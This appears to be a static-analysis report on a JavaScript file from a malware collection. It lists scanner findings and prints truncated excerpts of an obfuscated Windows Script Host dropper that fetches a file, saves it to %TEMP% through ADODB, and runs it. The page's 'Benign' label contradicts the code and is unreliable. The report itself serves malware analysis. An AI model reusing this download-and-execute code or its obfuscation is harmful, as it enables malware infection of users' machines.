Benign javascript-malware-collection Download

20160328_ef3ff605afba3067c0b005c9dbbadf33.js

eval() executing transformed codeText has empty named-parameter catch

SHA-256af63e1dc04586247587e5969cb6dcfb7b26884a03a8877cb07e074b49ce57be1

Evidence

Dense concatenated string fragments line 1

1eval(urlAnchor("stop%20%3D%20%28%22pe%22%29%2C%20settings%20%3D%20%28%22%25TEMP%25%22%29%2C%20args%20%3D%20%28263%29%3Bname%20%3D%20%281405%29%3B%20uid%20%3D%20%2874%29%3B%20tweens%20%3D%20%28133%29%3B%20attrHooks%20%3D%20%286703%29%3B%20finish%20%3D%20%28%22String%22%29%3B%20image%20%3D%20%28%22Save%22%29%3BnotifyWith%20%3D%20%28%22ep%22%29%3B%20th%20%3D%20%28%22u%22%29%3B%20obj%20%3D%20%28%22nextA%22%29%3BdoScroll%20%3D%20%28%22ADODB%22%29%3B%20simple%20%3D%20%28%22l%22%29%3BjsonProp%20%3D%20%28%22pt%22%29%3B%20isArrayLike%20%3D%20%28243%29%3B%20toggleClass%20%3D%20%28%22MLH%22%29%3B%20offsetHeight% …

Invokes zero-argument function at module scope lines 3–9

3:20… y, propFilter, isSimulated, rclickable);
4max(content, w, args);
5mouseleave();
6curLeft(rscriptTypeMasked, th, addBack);
7guid["m" + curCSSLeft + "d" + mouseenter] = ((Math.pow(29, marginDiv) - 799) - (Math.pow(makeArray, 2) - name));
8guid["ty" + stop] = (1 + (msFullscreenElement + -1));
9

Text has empty named-parameter catch lines 10–24

⋯5 lines
	stopOnFalse = tween[w + "ipt"][ajaxExtend + "Objec" + className](sortInput[rheaders]);
	closest(tuples, tweens, content);
	stopOnFalse["s" + mouseenter + "nd"]();
	break;
} catch (tag) {
20
}
}
23
while (stopOnFalse[isSimulated + "dySt" + offsetHeight] != ((4 | letter) | (2 * marginDiv))) animated["WScr" + propFilter] …

Calls JavaScript unescape lines 26–43

26:27…  == ((204, rhash, 162), (rtypenamespace, 16), (args - 63))) {
27		guid[dirruns + "en"]();
28		guid[parent](stopOnFalse["res" + pattern + "eBod" + hidden]);
29		implicitRelative(specialEasing, pixelMarginRight, rclickable);
30		guid[image + "ToFil" + mouseenter](vendorPropName, (2));
31		optgroup();
32		originalProperties["R" + th + "n"](vendorPropName);
33	} else {
34
35	}
36}
37
38function urlAnchor(func) {
39	return unescape(func);
40}
41
42function curLeft(parentWindow, origFn) {
43	argument(urlAnchor("guid%20%3D%20tween%5B%22WScri%22%20+%20jsonProp%5D%5B%2 …

Obfuscated computed call cluster lines 55–59

55:92… D%28%28%28uid-23%29%2C%28hasOwn%2C142%2CisArrayLike%29%2C%28351-setAttribute%29%2C%285*elementMatchers*2*elementMatchers*5*marginDiv*2%29%29%29%3B"));
56}
57
58function max() {
59	argument(urlAnchor("vendorPropName%20%3D%20originalProperties%5Bsibling%20+%20%22dEnv%22%20+%20rclickable%20+%20%22ment%22%20+%20finish%20+%20%22s%22%5D%28settings%20+%20%22/%22%29%20+%20obj%20+%20%22l …